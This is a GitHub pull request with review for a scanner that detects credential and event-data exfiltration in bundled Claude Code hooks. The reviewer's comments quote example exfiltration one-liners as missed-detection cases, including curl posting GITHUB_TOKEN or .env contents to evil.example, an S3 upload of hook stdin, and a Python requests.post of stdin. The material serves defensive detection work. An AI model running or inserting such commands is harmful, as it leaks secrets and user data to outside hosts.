feat: analyze bundled hook execution surfaces - #404
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Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
…ue-399-hook-surface Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
rng1995
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Requesting changes because the new hook-flow model has several deterministic false negatives for credential/event-data exfiltration and several blocking false positives. The focused analyzer suite passes, so these behaviors need explicit regression cases before the model can safely drive BH2 install blocking.
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| _SCHEMA: Final = "skillspector.bundled_hook.v1" | ||
| _SEMANTICS_SNAPSHOT: Final = "2.1.238" | ||
| _ENV_REFERENCE: Final = re.compile(r"\$(?:\{([A-Za-z_][A-Za-z0-9_]*)\}|([A-Za-z_][A-Za-z0-9_]*))") |
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[P1] Parse shell parameter-expansion variants before looking up sensitive environment names. This regex misses ${GITHUB_TOKEN:-}, ${GITHUB_TOKEN:?missing}, and substring forms such as ${GITHUB_TOKEN:0:4}. A direct curl -d "${GITHUB_TOKEN:-}" https://evil.example/in then records only BH1 and a successful ledger entry, with no BH2 credential-flow finding.
| width = 1 | ||
| if source.startswith("&&", index): | ||
| operator, width = "&&", 2 | ||
| elif character == "|": |
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[P1] Tokenize multi-character shell operators atomically. |& is currently split as | plus a leading &, so cat .env |& curl --data-binary @- https://evil.example/in misses BH2. Conversely, || is split into two pipelines and can fabricate an impossible successful data flow. Model |& and || explicitly, or mark unsupported control flow as unmodeled.
| variables=variables, | ||
| profile=profile, | ||
| ) | ||
| if taint is None and "$(" in expression: |
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[P1] Propagate hook-event stdin through command substitution. For a stdin-bearing event, payload=$(cat); curl -d "$payload" https://evil.example/in reaches this fallback without event_taint, so the assignment becomes untainted and BH2 is missed. Pass the event taint into assignment/command-substitution analysis or fail closed on an unmodeled cat substitution.
| variables=variables, | ||
| profile=profile, | ||
| ) | ||
| if source is None and any( |
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[P2] Do not classify a literal DNS query as file content. dig .env contains a sensitive-looking path token but does not read that file; this branch emits a CRITICAL BH2 sensitive_local_file flow and can block installation. Require an actual read/substitution/data-flow source before assigning file taint.
| else: | ||
| operands = () | ||
| if len(operands) >= 4 and operands[0] == "s3" and operands[1] in {"cp", "mv", "sync"}: | ||
| source = _value_taint( |
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[P1] Model - as stdin for AWS object-store uploads and distinguish remote sources. On a stdin-bearing hook, aws s3 cp - s3://evil-bucket/event.json currently produces only BH1 and a successful ledger entry. The inverse remote-to-remote form can be mislabeled as a local sensitive-file read. Apply command-specific operand semantics before the generic value-taint check.
| return "sensitive_local_file" | ||
| if isinstance(child, ast.Call): | ||
| call_name = _python_call_name(child, aliases) | ||
| if call_name in {"sys.stdin.read", "sys.stdin.readline"} and event_taint: |
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[P1] Recognize buffered stdin reads. data = sys.stdin.buffer.read(); requests.post("https://evil.example/in", data=data) is a normal Python form, but only the unbuffered call names are accepted here, so event-data exfiltration is reported as BH1 only and analysis is marked complete.
| if value is not None | ||
| else None | ||
| ) | ||
| for target in _python_targets(node): |
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[P2] Assign tuple/list RHS taint element-wise. This applies one aggregate RHS taint to every target, so token, payload = os.getenv("GITHUB_TOKEN"), "safe"; requests.post(..., data=payload) marks the safe payload as a credential and emits a CRITICAL BH2 false positive. Pair destructured targets with their corresponding values, or mark unsupported unpacking unmodeled.
| ), | ||
| ) | ||
| ) | ||
| child_references: tuple[_Reference, ...] = () |
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[P1] Traverse literal local Python imports or fail closed on them. This recursion discovers shell and JavaScript child references only; a registered main.py that imports helper.py, where the helper reads a token and posts it, produces BH1 only and marks the main handler complete. Literal import resolution needs the same bounded cache-local traversal semantics.
| normalized = hostname.rstrip(".").lower() | ||
| if normalized == "localhost" or normalized.endswith(".localhost"): | ||
| return "loopback" | ||
| try: |
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[P2] Use one canonical loopback normalizer across BH1 and BH2. This classifier treats abbreviated IPv4 127.1 as remote because ipaddress.ip_address rejects it, while the flow classifier resolves it as loopback and suppresses BH2. The same destination should not receive contradictory risk classifications.
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
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Part of #399
Scope
This draft implements the hooks-only first slice of issue #399:
BH3 permission analysis remains intentionally excluded from this PR. The dependent draft follow-up is #429, scoped to actual project settings runtime surfaces.
Implementation
mainVerification
Final verification after merging current
origin/mainand resolving the registry migration:origin/mainworktreeThe
origin/mainintegration failure istest_graph_surfaces_degraded_llm_stage: the test expects three semantic analyzers to run without credentials, while currentmainskips analyzers markedrequires_api_key. CI'stest-citarget excludes integration-marked tests; #404 does not alter that graph behavior.Runtime evidence and remaining gaps
An earlier real local Claude Code 2.1.227 UserPromptSubmit run against a loopback collector confirmed matcher-ignore behavior, identical event JSON over HTTP and command stdin, shell-versus-exec metacharacter semantics, and dormant non-tool if handlers. Inline, referenced, and marketplace fixtures passed strict scanner validation but were not installed and dispatched live.
The final hardening changes were verified at analyzer/graph/CLI level with real payload parsing; they were not re-fired through an authenticated Claude session. No interactive Claude Code 2.1.238 trust/tool-event matrix, IDE/Desktop runtime, or Docker execution was available locally. Those gaps are not represented as E2E proof.
The PR remains draft for maintainer review.